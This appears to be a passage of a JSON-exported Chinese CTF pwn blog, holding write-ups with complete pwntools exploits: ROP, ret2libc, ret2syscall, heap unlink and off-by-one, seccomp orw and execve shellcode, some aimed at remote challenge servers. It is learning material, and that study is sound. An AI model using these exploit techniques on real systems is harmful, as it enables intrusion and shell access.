','admin123')p.recvuntil('0x')stack=int(p.recv(8),16)print(hex(stack))pop_edi=0x0804884apop_ebx=0x08048411gift=0x080485E6leave=0x08048674binsh=0x0804A038 payload=p32(gift)+p32(0)+p32(binsh)+b'a'*68+p32(stack-4)+p32(leave)#gdb.attach(p)sleep(1)p.sendlineafter(\"msg:\",payload)p.interactive()","categories":[],"tags":[]},{"title":"overlapping_chunks","slug":"overlapping_chunks","date":"2024-10-21T12:11:58.000Z","updated":"2024-11-29T15:54:26.196Z","comments":true,"path":"/posts/37a70f1c/","link":"","permalink":"https://github.com/degial/posts/37a70f1c/","excerpt":"","text":"大多都是堆溢出的情况下,chunk释放前或释放后改变size的值,再申请的时候造成两个堆块有重合的地方,有时候需要改变对应下一个堆的pre_size绕过检查,虽说在libc2.29以后才出现,但有时候2.23的版本还是会因此而报错。所以尽可能的在下一个chunk的pre_size位改成我们的size. 12345678910/* consolidate backward */ if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); /* 后两行代码在最新版本中加入,则 2 的第二种方法无法使用,但是 2.28 及之前都没有问题 */ if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr (\"corrupted size vs. prev_size while consolidating\"); unlink_chunk (av, p); } 2015 hacklu bookstore该程序是动态链接的 64 位程序,主要开启了 Canary 与 NX 保护. 程序的最后有个格式化字符串漏洞,只能用一次,用于泄露libc和在fini的地方写上main函数地址 这里输入s是能写上栈的地方,这里输入fini的地址 算出偏移是13 这里只强调构造的fake_chunk 12345payload=b'%2828c%13$hnkk%31$p'payload=payload.ljust(0x88,b'b')payload+=p64(0x151)payload=payload.ljust(0x1d0,b'\\x41')+p64(0x150)+p64(0x41)+p64(0)*6+p64(0x40)+p64(0x31) 申请堆的过程中有堆溢出可以更改下一个 堆的size,改成下面特殊的堆的size,根据题目给大小改。","categories":[],"tags":[]},{"title":"heapcreator","slug":"heapcreator","date":"2024-10-17T08:03:43.000Z","updated":"2024-11-29T15:54:26.186Z","comments":true,"path":"/posts/707c38cf/","link":"","permalink":"https://github.com/degial/posts/707c38cf/","excerpt":"","text":"","categories":[],"tags":[]},{"title":"stdout","slug":"stdout","date":"2024-09-21T14:44:34.000Z","updated":"2024-11-29T15:54:26.204Z","comments":true,"path":"/posts/c2c94c1c/","link":"","permalink":"https://github.com/degial/posts/c2c94c1c/","excerpt":"","text":"这里stdout第三个参数是0,就是标准输出全缓冲,缓冲区被填满才能进行回显 刷新缓冲区有几种办法 能够溢出8字节 一个没什么用的函数 那么只能将缓冲区填满,刚开始想的是用vuln函数不断输入 ret的操作是pop rip,rsp=rsp+8, 指向0x0x7fff153a5588. endbr64指令rsp是不动的,push rbp后rbp变成了原来返回地址的位置,再次调用相同的输入也只是让rbp+8,即每次 1234for i in range(20): payload=b'c'*0x28+p64(vul) p.send(payload) print(i) 也只是让rbp+8移动 第二次的rbp 只是调用vuln的话时不会回显的。 其实不是理想当然的填充,得调用extend函数填充缓冲区。那么就只能不断调用extend函数把缓冲区填满。 调用extend时第二十次时的栈 exp 12345678910111213141516171819202122232425262728293031323334353637from pwn import*from LibcSearcher import *#p=remote(\"node4.buuoj.cn\",)p=process(\"./pwn\")context.log_level=\"debug\"elf=ELF('./pwn')libc=ELF('./libc-2.31.so')extend=0x401287vul=0x40125Dpop_rdi=0x4013d3puts_got=elf.got['puts']puts=elf.plt['puts']payload=b'a'*0x58+p64(vul)p.send(payload)payload=b'b'*0x28+p64(pop_rdi)+p64(puts_got)+p64(puts)+p64(extend)+p64(vul)p.send(payload)for i in range(21): payload=b'c'*0x28+p64(extend)+p64(vul) p.send(payload)p.recvuntil('stdout???')p.recvline()puts_addr=u64(p.recv(6).ljust(8,b'\\x00'))base=puts_addr-0x10dfc0 #libc.sym['puts']system=base+libc.sym['system']binsh=base+next(libc.search(b'bin/sh'))gdb.attach(p)pause()payload=b'b'*0x28+p64(pop_rdi)+p64(binsh)+p64(system)p.send(payload)print(hex(libc.sym['puts']))print('put'+hex(puts_addr)) p.interactive()","categories":[],"tags":[]},{"title":"解决libc6软件包和libc6-dev不匹配的问题","slug":"解决libc6软件包和libc6-dev不匹配的问题","date":"2024-09-18T12:27:44.000Z","updated":"2024-11-29T15:54:26.208Z","comments":true,"path":"/posts/24332419/","link":"","permalink":"https://github.com/degial/posts/24332419/","excerpt":"","text":"之前在学vm内核调试的时候,不小心把libc6-dev之类的包给删掉了,导致后面gcc编译不了,重新下载libc6-dev时,会弹出这样的报错,这种报错之前很常见。 1234下列软件包有未满足的依赖关系: libc6-dev : 依赖: libc6 (= 2.27-3ubuntu1.6) 但是 2.35-0ubuntu3 正要被安装 依赖: libc-dev-bin (= 2.27-3ubuntu1.6)E: 无法修正错误,因为您要求某些软件包保持现状,就是它们破坏了软件包间的依赖关系。 最本质的原因就是已安装的libc6版本是2.35-0ubuntu3,但是要安装的libc6-dev所要的依赖是libc6和libc-dev-bin的版本都是2.27,当初想过把libc6降级的,因为libc6是软件包,有很多依赖关系,结果系统奔溃了,还刚好没提前拍快照,只有很久之前的。 libc6就是一个软件包名称,包含c标准库的所有功能,包含有很多库文件,如libc.so.6,是底层代码如prinf函数的实现。通常存放在/lib目录下,系统核心库的存放目录。 libc6-dev含有很多c标准库,如stdio.h,math.h.包含很多头文件。解压放到/usr/include/。 /usr/lib 目录是用户级库的存放目录,这些库文件是用户安装的软件包所需的,例如图形库、数据库库、开发库等。这些库文件通常是用户安装的软件包所需的,而不是系统核心组件所需的。 最正确的办法就是下载对应版本的libc6-dev.deb解压,要和已安装的libc6版本匹配,当时是直接找了网站glibc库 下载libc6-dev.deb,但是找不到2.35版本的,后面终于在package.ubuntu.com找到,点这两个下载 1https://packages.ubuntu.com/jammy/libc6-dev 解压到/tmp/libc6-dev 123456mkdir /tmp/libc6-devdpkg-deb -x libc6-dev_2.35-0ubuntu3.8_amd64.deb /tmp/libc6-devsudo rsync -av /tmp/libc6-dev/usr/include/ /usr/include/ #移动头文件sudo rsync -av /tmp/libc6-dev/usr/share/ /usr/share/ #移动共享数据文件sudo rsync -av /tmp/libc6-dev/usr/lib/ /usr/lib/ #移动用户级库文件,这里有一个小点。 同理,libc-dev-bin也解压 1234mkdir /tmp/libc-dev-bindpkg-deb -x libc-dev-bin_2.35-0ubuntu3.8_amd64.deb /tmp/libc-dev-binsudo rsync -av /tmp/libc-dev-bin/usr/ /usr/ #主要是一些工具脚本 后面把tmp目录下的这两个临时文件删了就好。 后面我试着gcc编译的时候,还是遇见了个老错误 1234gcc 1.c -o 1/usr/bin/ld: 找不到 Scrt1.o: 没有那个文件或目录/usr/bin/ld: 找不到 crti.o: 没有那个文件或目录collect2: error: ld returned 1 exit status 通过查找发现,它在/tmp/libc6-dev/usr/lib/x86_64-linux-gnu 这个目录里,这个正是库文件的位置,把这些库文件移动到/usr/lib/x86_64-linux-gnu/目录就好 最后,编译成功","categories":[],"tags":[]},{"title":"glibc","slug":"glibc","date":"2024-09-13T09:02:48.000Z","updated":"2024-11-29T15:54:26.182Z","comments":true,"path":"/posts/58b6dd93/","link":"","permalink":"https://github.com/degial/posts/58b6dd93/","excerpt":"","text":"手动下载glibc版本 有时候做题会遇到glibc-all-in-one里没有的glibc,需要自己下 可以到网站手动下载对应的./deb文件 1http://old-releases.ubuntu.com/ubuntu/pool/main/g/glibc/ 在glibc-all-in-one目录下,若glibc版本名为x,用指令解压 1./extract ./x.deb ./libs/x","categories":[],"tags":[]},{"title":"gostack","slug":"gostack","date":"2024-09-12T11:31:39.000Z","updated":"2024-11-29T15:54:26.184Z","comments":true,"path":"/posts/ad559ced/","link":"","permalink":"https://github.com/degial/posts/ad559ced/","excerpt":"","text":"i 一个用go语言写的程序。 alt+f7用go_parser修复一下 主要的函数,只有一个输入点,因为是go语言写的,其反汇编也是很难看懂 主要看汇编,它后面会将输入的字符串复制到栈上 在scanner输入这里会检查这个位置的值是否为0 为了方便全都用0填充 脚本的具体调试是报错的,看不了,也只能分析个大概。 直接gdb 算出距离rbp是0x1c8的距离。 这种题一般是用ret2syscall。而往年的国赛题也是ret2syscall居多。 找到的gadget syscall;ret是很难找到的。通过gadget找不到。 先sys_read在bss段输入bin/sh,再sys_execve. 123#bss readpayload=b'\\x00'*0x1d0+p64(pop_rdi_r14)+p64(0)*6payload+=p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(8)+p64(pop_rax)+p64(0)+p64(syscall_ret) 12#execvepayload+=p64(pop_rdi_r14)+p64(bss)+p64(0)*5+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(0x3b)+p64(syscall_ret) 同时也顺带复习一下,sys_read的各个寄存器的值,rax=0,rdi=0,rsi=bss,rdx=size.sys_execve,rax=0x3b,rdi=bin/sh_addr,rsi=0,rdx=0.前面按照脚本一样写一直跑不通,后面突然就跑通了,也是有点离谱。123456789101112131415161718192021222324252627282930from pwn import*from LibcSearcher import *p=remote(\"pwn.challenge.ctf.show\",28159)#p=process(\"./gostack\")context.log_level=\"debug\"context(arch='amd64',os='linux')#payload=b'a'*0x1d0+p64(0x4A0af6)pop_rdi_r14=0x4a18a5pop_rax=0x40f984bss=0x5655C2pop_rsi=0x42138apop_rdx=0x4944ecsyscall_ret=0x4616C9#gdb.attach(p)#pause()#bss readpayload=b'\\x00'*0x1d0+p64(pop_rdi_r14)+p64(0)*6payload+=p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(8)+p64(pop_rax)+p64(0)+p64(syscall_ret)#excevepayload+=p64(pop_rdi_r14)+p64(bss)+p64(0)*5+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(0x3b)+p64(syscall_ret)#p.recv()p.sendlineafter('magic message :',payload)p.sendline(b'/bin/sh\\x00')p.interactive()","categories":[],"tags":[]},{"title":"pstack","slug":"pstack","date":"2024-09-08T08:40:58.000Z","updated":"2024-11-29T15:54:26.196Z","comments":true,"path":"/posts/3d6a2015/","link":"","permalink":"https://github.com/degial/posts/3d6a2015/","excerpt":"","text":"","categories":[],"tags":[]},{"title":"武功论剑","slug":"武功论剑","date":"2024-07-27T05:23:02.000Z","updated":"2024-11-29T15:54:26.207Z","comments":true,"path":"/posts/6ca732a0/","link":"","permalink":"https://github.com/degial/posts/6ca732a0/","excerpt":"","text":"一道很简单的apk题,反汇编出来,将两个数组的值一一异或就得到flag 这道简单的栈溢出题,开了canary保护 这里输入0x49个字节可以将canary和rbp打印出来 主函数有个栈溢出漏洞,这里ret2libc泄露puts的got表地址,再返回重新输入一次 12345678910111213141516171819202122232425262728293031323334353637383940414243444546from pwn import*from LibcSearcher import *#p=remote(\"59.62.61.30\",46489)p=process(\"./pwn\")context.log_level=\"debug\"libc=ELF('./libc-2.27.so')pop_rdi=0x400853puts_got=0x601018call_puts=0x4007afpayload=b'a'*0x48+b'b'puts_plt=0x400580#pause()p.send(payload)p.recvuntil('b')canary=u64(p.recv(7).rjust(8,b'\\x00'))rbp_addr=u64(p.recv(6).ljust(8,b'\\x00'))print(hex(canary))print('rbp'+hex(rbp_addr))payload=b'b'*0x48+p64(canary)+p64(rbp_addr-0x50)payload+=p64(pop_rdi)+p64(puts_got)+p64(call_puts)gdb.attach(p)sleep(1)pause()p.sendlineafter('overflow!',payload)p.recvline()puts=u64(p.recv(6).ljust(8,b'\\x00'))base=puts-libc.sym['puts']system=base+libc.sym['system']binsh=base+next(libc.search(b'bin/sh'))print('puts'+hex(puts))one=[0x4f3d5,0x4f432,0x10a41c]one_gadget=base+one[0]#p.recvline()payload=b'a'*0x48+p64(canary)+b'a'*8+p64(one_gadget)#+p64(pop_rdi)+p64(binsh)+p64(system)p.sendline(payload)p.interactive()","categories":[],"tags":[]},{"title":"ciscn_pwn","slug":"ciscn-pwn","date":"2024-05-19T08:17:29.000Z","updated":"2024-11-29T15:54:26.180Z","comments":true,"path":"/posts/344ab8fb/","link":"","permalink":"https://github.com/degial/posts/344ab8fb/","excerpt":"","text":"第一天_gostack64位的静态编译题 很明显的syscall和很多可以利用的gadget 利用syscall向bss段写入 bin/sh,再syscall执行execve(‘bin/sh’,0,0),拿到flag 12345678910111213141516171819202122232425262728293031323334from pwn import*from LibcSearcher import *p=remote(\"8.147.134.47\",16589)#p=process(\"./gostack\")elf=ELF('./gostack')context.log_level=\"debug\"# Gadgets and syscall addressessyscall_address = 0x404043rax_ret_address = 0x40f984rdi_6_ret_address = 0x4a18a5rsi_ret_address = 0x42138ardx_ret_address = 0x4944ec# Create the payloadpayload = b'a' * 0x100payload += p64(elf.bss()) + p64(0x10) + p64(0) * 0x18payload += p64(rdi_6_ret_address) + p64(0) * 6payload += p64(rsi_ret_address) + p64(elf.bss() + 0x200)payload += p64(rdx_ret_address) + p64(0x100)payload += p64(rax_ret_address) + p64(0)payload += p64(syscall_address)payload += p64(rdi_6_ret_address) + p64(elf.bss() + 0x200) + p64(0) * 5payload += p64(rdi_6_ret_address) + p64(elf.bss() + 0x200) + p64(0) * 5payload += p64(rdi_6_ret_address) + p64(elf.bss() + 0x200) + p64(0) * 5payload += p64(rsi_ret_address) + p64(0)payload += p64(rdx_ret_address) + p64(0)payload += p64(rax_ret_address) + p64(0x3b)payload += p64(syscall_address)# Send the payloadp.sendlineafter('message :\\n', payload)input()p.sendline('/bin/sh\\x00')p.interactive() EzHeap edit函数存在堆溢出 开启了沙箱保护,这是一道堆的orw。 泄露出堆的基地址1234567891011add_chunk(0x28)add_chunk(0x28)# Edit and leak heap addressedit_chunk(0, 0x50, b'a' * 0x50)show_chunk(0)io.recvuntil(b'a' * 0x50)gdb.attach(io)pause()heap_leak = u64(io.recvuntil(b'Welcome to CISCN 2024!', drop=True).ljust(8, b'\\x00'))heap_base = heap_leak << 12 将free_hook改成setcontext,通过setcontext控制rsp进而orw,构造rop最后获得flag123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133from pwn import *elf = ELF(\"./EzHeap\")context.log_level = 'debug'context.arch = 'amd64'io=process('EzHeap')#io = remote('8.147.129.121', 26987)def add_chunk(size, content=b''): io.sendlineafter(\"choice >> \", '1') io.sendlineafter(\"size:\", str(int(size))) io.sendafter(\"content:\", content)def delete_chunk(index): io.sendlineafter(\"choice >> \", '2') io.sendlineafter(\"idx:\", str(index))def edit_chunk(index, size, content): io.sendlineafter(\"choice >> \", '3') io.sendlineafter(\"idx:\", str(index)) io.sendlineafter(\"size:\", str(size)) io.sendafter(\"content:\", content)def show_chunk(index): io.sendlineafter(\"choice >> \", '4') io.sendlineafter(\"idx:\", str(index))def exit_program(): io.sendlineafter(\"choice >> \", '5')# Add initial chunksadd_chunk(0x28)add_chunk(0x28)# Edit and leak heap addressedit_chunk(0, 0x50, b'a' * 0x50)show_chunk(0)io.recvuntil(b'a' * 0x50)gdb.attach(io)pause()heap_leak = u64(io.recvuntil(b'Welcome to CISCN 2024!', drop=True).ljust(8, b'\\x00'))heap_base = heap_leak << 12# Edit chunk to set up fake chunkedit_chunk(0, 0x50, b'\\x00' * 0x28 + p64(0x21) + b'\\x00' * 0x18 + p64(0xd1))# Leak libc addressedit_chunk(1, 0x30, b'a' * 0x30)show_chunk(1)io.recvuntil(b'a' * 0x30)libc_leak = u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))libc_base = libc_leak - 0x21ace0# Edit chunk to consolidate chunksedit_chunk(1, 0x30, b'\\x00' * 0x28 + p64(0xf1))# Set up libc addressessetcontext_address = libc_base + 0x539e0 + 61read_address = libc_base + 0x1147d0write_address = libc_base + 0x114870rtld_global_address = libc_base + 0x285040rtld_3_address = libc_base + 0x2865a0pop_rdi = libc_base + 0x2a3e5pop_rsi = libc_base + 0xe7d0dpop_rdx = libc_base + 0x11f2e7 # r12ret = libc_base + 0x1193c1pop_rax = libc_base + 0x45eb0syscall = libc_base + 0x91316target_address = ((heap_base + 0x1e30) >> 12) ^ rtld_global_address# Add chunks to manipulate heapadd_chunk(0x78) # Chunk 2add_chunk(0x78) # Chunk 3add_chunk(0x78) # Chunk 4add_chunk(0x78) # Chunk 5edit_chunk(5, 0x100, b'a' * 0x78 + p64(0x21) + p64(target_address))add_chunk(0x18) # Chunk 6add_chunk(0x18) # Chunk 7add_chunk(0x18) # Chunk 8add_chunk(0x18) # Chunk 9add_chunk(0x18, p64(heap_base + 0x300) + p64(5) + p64(rtld_3_address))heap_leak_adjusted = heap_base - 0x650l_next_address = libc_base + 0x286890# Create link maplink_map = p64(0)link_map += p64(l_next_address)link_map += p64(0)link_map += p64(heap_leak_adjusted + 0x940)link_map += p64(0) * 28link_map += p64(heap_leak_adjusted + 0xa50)link_map += p64(heap_leak_adjusted + 0xa70)link_map += p64(heap_leak_adjusted + 0xa60)link_map += p64(0x10)link_map += p64(setcontext_address)link_map += p64(ret)link_map += p64(0) * 13link_map += p64(heap_leak_adjusted + 0x200)link_map += b'./flag'.ljust(8, b'\\x00')link_map += p64(0)link_map += p64(0x100)link_map += p64(0) * 2link_map += p64(heap_leak_adjusted + 0xc60)link_map += p64(ret)link_map += p64(0) * 38link_map += p64(0x800000000)# Create ROP chainrop_chain = p64(ret) * 0x1rop_chain += p64(pop_rdi) + p64(heap_leak_adjusted + 0xaf0)rop_chain += p64(pop_rax) + p64(2)rop_chain += p64(pop_rsi) + p64(0)rop_chain += p64(syscall)rop_chain += p64(pop_rdi) + p64(3)rop_chain += p64(pop_rsi) + p64(heap_leak_adjusted + 0x800)rop_chain += p64(pop_rdx) + p64(0x50) + p64(0)rop_chain += p64(read_address)rop_chain += p64(pop_rdi) + p64(1)rop_chain += p64(pop_rsi) + p64(heap_leak_adjusted + 0x800)rop_chain += p64(pop_rdx) + p64(0x50) + p64(0)rop_chain += p64(write_address)# Edit chunk with link map and ROP chainedit_chunk(0, 0x400, link_map + rop_chain)# Exit and trigger the payloadexit_program()io.interactive()","categories":[],"tags":[]},{"title":"easyshell","slug":"easyshell","date":"2024-05-02T14:42:19.000Z","updated":"2024-11-29T15:54:26.181Z","comments":true,"path":"/posts/9ea1a33f/","link":"","permalink":"https://github.com/degial/posts/9ea1a33f/","excerpt":"","text":"1234567891011121314151617181920212223242526272829303132from pwn import*from LibcSearcher import *#p=remote(\"node4.buuoj.cn\",)p=process(\"./babyheap\")context.log_level=\"debug\"libc=ELF('libc.so')elf=ELF('babyheap')p.recvuntil('captcha is: ')cap=p.recv(8)p.sendlineafter('the captcha: ',cap)#p.sendlineafter(#p.sendlineafter('Please Select: ',)def add(index,size): p.sendlineafter('Please Select: ','1') p.sendlineafter('Index: ',str(index)) p.sendlineafter('Size: ',str(size)) def fill(size,content): p.sendlineafter('Please Select: ','3') p.sendlineafter('Size: ',str(size)) p.sendlineafter('Content: ',content)gdb.attach(p)sleep(1)add(20,0x60)p.interactive()","categories":[],"tags":[]},{"title":"heap","slug":"heap","date":"2024-04-27T13:35:10.000Z","updated":"2024-11-29T15:54:26.185Z","comments":true,"path":"/posts/bd2922e1/","link":"","permalink":"https://github.com/degial/posts/bd2922e1/","excerpt":"","text":"chunk就是一整个 malloc返回的指针指向chunk的数据区域 free返回的指针指向chunk的header pre_size只有在上一个chunk(物理相邻)是释放时才属于下一个chunk的区域,否则属于上一个chunk的 free_chunk的大小 0x20~0x0x80,malloc(8)得到的是0x20的chunk","categories":[],"tags":[]},{"title":"note2","slug":"note2","date":"2024-04-26T11:00:38.000Z","updated":"2024-11-29T15:54:26.195Z","comments":true,"path":"/posts/c0d78a/","link":"","permalink":"https://github.com/degial/posts/c0d78a/","excerpt":"","text":"没开偏移的保护 size是无符号数 进函数后变有符号数,会有溢出 这里只能用字节来填充,b’\\x00’都不行 改了free_got才free的,会执行one_gadget 用system打会报错,不行 因为这里有个strncat(dest, (const char *)v7 + 15, 0xFFFFFFFFFFFFFFFFLL);函数,遇到‘\\0’或空字符截停 exp1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374from pwn import*from LibcSearcher import *#p=remote(\"node5.buuoj.cn\",27431)p=process(\"./note2\")context.log_level=\"debug\"libc=ELF('./libc-2.23.so')elf=ELF('./note2')p.sendlineafter(' name:','sdf')p.sendlineafter('address:','asdf')def add(size,content): p.sendlineafter('option--->>','1') p.sendlineafter('(less than 128)',str(size)) p.sendlineafter(' content:',content)def show(index): p.recvuntil(\">>\") p.sendline(\"2\") p.recvuntil(\":\") p.sendline(str(index))def edit(index, choice, content): p.recvuntil(\">>\") p.sendline(\"3\") p.recvuntil(\":\") p.sendline(str(index)) p.recvuntil(\"]\") p.sendline(str(choice)) p.recvuntil(\":\") p.sendline(content)def free(index): p.recvuntil(\">>\") p.sendline(\"4\") p.recvuntil(\":\") p.sendline(str(index))'''io.recvuntil(\":\")io.sendline(\"/bin/sh\") #nameio.recvuntil(\":\")io.sendline(\"ddd\")'''ptr=0x602120fd=ptr-0x18bk=ptr-0x10payload=b'\\x00'*8+p64(0xa1)+p64(fd)+p64(bk)add(0x80,payload) #0add(0,'sadf') #1add(0x80,'bin/sh') #2free(1)payload=p64(0)*2+p64(0xa0)+p64(0x90)add(0,payload)free(2)#b'a'*0x18free_got=elf.got['free']payload=b'a'*0x18+p64(free_got)edit(0,1,payload)gdb.attach(p)sleep(1)show(0)p.recvuntil('is ')addr=u64(p.recv(6).ljust(8,b'\\x00'))base=addr-libc.sym['free']system=base+libc.sym['system']one=base+0xf02a4edit(0,1,p64(system))print(hex(addr))#p.sendline(payload)p.interactive()","categories":[],"tags":[]},{"title":"ciscn_final_5","slug":"ciscn-final-5","date":"2024-04-11T11:36:41.000Z","updated":"2024-11-29T15:54:26.179Z","comments":true,"path":"/posts/4595fad/","link":"","permalink":"https://github.com/degial/posts/4595fad/","excerpt":"","text":"没开偏移的保护 地址进行或运算后保存,最后一位存index","categories":[],"tags":[]},{"title":"GUESS","slug":"GUESS","date":"2024-03-23T10:34:29.000Z","updated":"2024-11-29T15:54:26.163Z","comments":true,"path":"/posts/c587cd26/","link":"","permalink":"https://github.com/degial/posts/c587cd26/","excerpt":"","text":"开了canary 在输入位置对应的第25个参数,相差0x128的位置上是main函数的第一个参数argc,后面是第三个envp参数 把argc的位置覆盖成puts_got,泄露偏移,算出environ=base+libc.sym[‘__environ’],这个存着栈上的地址,即0x7ffdfb3b9728这个地址,这个地址存着环境变量,再覆盖argc为environ,打印出栈地址,再算偏移本地一直打不通,调试也有问题exp12345678910111213141516171819202122232425262728293031from pwn import*from LibcSearcher import *#p=remote(\"node5.buuoj.cn\",26222)p=process(\"./GUESS\")context.log_level=\"debug\"elf=ELF('./GUESS')puts_got=elf.got['puts']libc=ELF('./libc-2.23.so')payload=b'a'*0x128+p64(puts_got)p.recvuntil(' guessing flag')p.sendline(payload)p.recvuntil('detected ***: ')puts_addr=u64(p.recvuntil('\\x7f').ljust(8,b'\\x00'))print(hex(puts_addr))base=puts_addr-libc.sym['puts']environ=base+libc.sym['__environ']payload=b'a'*0x128+p64(environ)gdb.attach(p)p.recvuntil(' guessing flag')p.sendline(payload)p.recvuntil('detected ***: ')envi=u64(p.recvuntil('\\x7f').ljust(8,b'\\x00'))print(hex(envi))flag=envi-0x168payload=b'a'*0x128+p64(flag)p.recvuntil(' guessing flag')p.sendline(payload)p.interactive()","categories":[],"tags":[]},{"title":"bad","slug":"bad","date":"2024-03-22T06:08:42.000Z","updated":"2024-11-29T15:54:26.170Z","comments":true,"path":"/posts/822b39fb/","link":"","permalink":"https://github.com/degial/posts/822b39fb/","excerpt":"","text":"很明显地用shellcode写,不过不能用一般的shellcode来写,平时的shellcode是用通过系统调用exceve(‘bin/sh’,0,0),正如这道题,seccomp是Linux内核的一项功能,用于限制进程的系统调用seccomp_init(0LL);是初始化seccomp_init函数0,1,2,60,分别是允许进程可读,可写,可执行,和退出的系统调用 所以这道题只能用orw的方式获取flag1234mmap=0x123000orw_payload=shellcraft.open('./flag') #打开根目录下的flag文件,文件标识符为3orw_payload+=shellcraft.read(3,mmap,0x50) #读取文件标识符为3的文件的0x50个字节到地址mmaporw_payload+=shellcraft.write(1,mmap,0x50) #将mmap的地址的值输出 不把orw_payload写到栈上因为其很大 所以只能写到mmap地址上,返回地址让其执行到栈上读入orw-payload到mmap上 12345jmp_rsp_ret=asm('sub rsp,0x30;jmp rsp')get_shell=asm('mov rax,0x123000;call rax')payload=asm(shellcraft.read(0,mmap,0x100))+get_shellpayload=payload.ljust(0x28,b'\\x00')payload+=p64(jmp_rsp)+jmp_rsp_ret# 实践证明,返回地址不能直接sub rsp,0x30;jmp rsp,得先jmp esp,不然会报错,但我觉得最终的结果都差不多,但是不行。最后再写入orw_payload就行了1p.sendline(asm(orw_payload))","categories":[],"tags":[]},{"title":"b0verfl0w","slug":"b0verfl0w","date":"2024-03-20T15:07:25.000Z","updated":"2024-11-29T15:54:26.169Z","comments":true,"path":"/posts/b656e51/","link":"","permalink":"https://github.com/degial/posts/b656e51/","excerpt":"","text":"123456789; 汇编指令xor ecx, ecx ; 将 ecx 寄存器清零mul ecx ; 将 eax 寄存器中的值与 ecx 寄存器中的值相乘,结果存放在 eax 和 edx 中,相当于 edx = eax * 0push ecx ; 将 ecx 寄存器中的值压入栈,此时栈顶为 0push 0x68732f2f ; 将字符串 \"/bin//sh\" 的 ASCII 码逆序压入栈push 0x6e69622f ; 继续将字符串 \"/bin//sh\" 的 ASCII 码逆序压入栈mov ebx, esp ; 将 esp 寄存器中的值(即字符串 \"/bin//sh\" 的地址)存放到 ebx 寄存器中mov al, 0xb ; 将 0xb 存放到 al 寄存器中,该值代表 execve 系统调用的编号int 0x80 ; 触发系统调用,执行 execve(\"/bin//sh\", NULL, NULL) 1shellcode=b\"\\x31\\xc9\\xf7\\xe1\\x51\\x68\\x2f\\x2f\\x73\"+b\"\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\"+b\"\\x0b\\xcd\\x80\" ret2shellcode,但是大小不够了 1sub_esp_jmp=asm(\"sub esp,0x28;jmp esp\") 改写其他不行返回地址执行到jmp_esp,然后esp+4,执行sub esp,0x28;jmp esp,可以跳到shellcode的地址1payload=asm(shellcode)+b'a'*(0x20-len(shellcode))+b'aaaa'+p32(jmp_esp)+sup_esp_jmp jmp esp的操作,把栈顶设为esp,同时eip指向栈顶 exp123456789101112131415161718192021from pwn import*from LibcSearcher import *#p=remote(\"node5.buuoj.cn\",28594)p=process(\"./b0verfl0w\")context.log_level=\"debug\"context.arch='i386'shellcode=b\"\\x31\\xc9\\xf7\\xe1\\x51\\x68\\x2f\\x2f\\x73\"+b\"\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\"+b\"\\x0b\\xcd\\x80\"print(len(shellcode))#gdb.attach(p)sleep(1)jmp_esp=0x08048504sub_esp_jmp=asm(\"sub esp,0x28;jmp esp\")payload=shellcode+b'a'*(0x20-len(shellcode))+b'aaaa'+p32(jmp_esp)+sub_esp_jmp#p.sendline(payload)p.sendline(payload)p.interactive()","categories":[],"tags":[]},{"title":"roarctf_2019_easypwn","slug":"roarctf-2019-easy-pwn","date":"2024-03-18T15:03:09.000Z","updated":"2024-11-29T15:54:26.199Z","comments":true,"path":"/posts/29aca647/","link":"","permalink":"https://github.com/degial/posts/29aca647/","excerpt":"","text":"保护全开 edit函数 若要编辑的大小大过申请的10,可以多输入一字节,存在off-by-one漏洞 这里不太懂为什么伪造的堆1 free不会报错 1free(1) 1add(0x90) 试用这种方法也能show出main_arena 至于为什么能show,也是挺奇怪的,因为在show函数那里限制了大小,取的是原来的大小 1add(0x80) 奇怪,这里再申请0x80的大小,然后size还是0xa1 这里也不太懂为什么要这样写,后面的p64(0x70)+p64(0x21)1payload=p64(0)*3+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21) 不过最后的话,是打不通的。exp12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576from pwn import *r=remote('node5.buuoj.cn',28118)#r=process('roarctf_2019_easy_pwn')libc=ELF('./libc-2.23.so')context.log_level=\"debug\"def add(size): r.recvuntil('choice: ') r.sendline('1') r.recvuntil('size:') r.sendline(str(size))def edit(index,size,data): r.recvuntil('choice: ') r.sendline('2') r.recvuntil('index:') r.sendline(str(index)) r.recvuntil('size:') r.sendline(str(size)) r.recvuntil('content:') r.send(data) def free(index): r.recvuntil('choice: ') r.sendline('3') r.recvuntil('index:') r.sendline(str(index)) def show(index): r.recvuntil('choice: ') r.sendline('4') r.recvuntil('index:') r.sendline(str(index)) add(0x18)add(0x10)add(0x90)add(0x10)edit(0,0x22,b'b'*0x10+p64(0x20)+p8(0xa1))edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))free(1)add(0x90)edit(1,0x20,p64(0)*3+p64(0xa1))free(2)show(1)r.recvuntil('content:')r.recv(0x20)main_arena=u64(r.recvuntil('\\x7f').strip()[-6:].ljust(8,b'\\x00'))-88malloc_hook=main_arena-0x10base=malloc_hook-libc.sym['__malloc_hook']realloc_hook=base+libc.sym['__realloc_hook']add(0x80)print(hex(main_arena))payload=p64(0)*3+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21)edit(1,0x90,payload)free(2)payload=p64(0)*3+p64(0x71)+p64(malloc_hook-0x23)edit(1,0x28,payload)add(0x60) #2add(0x60) 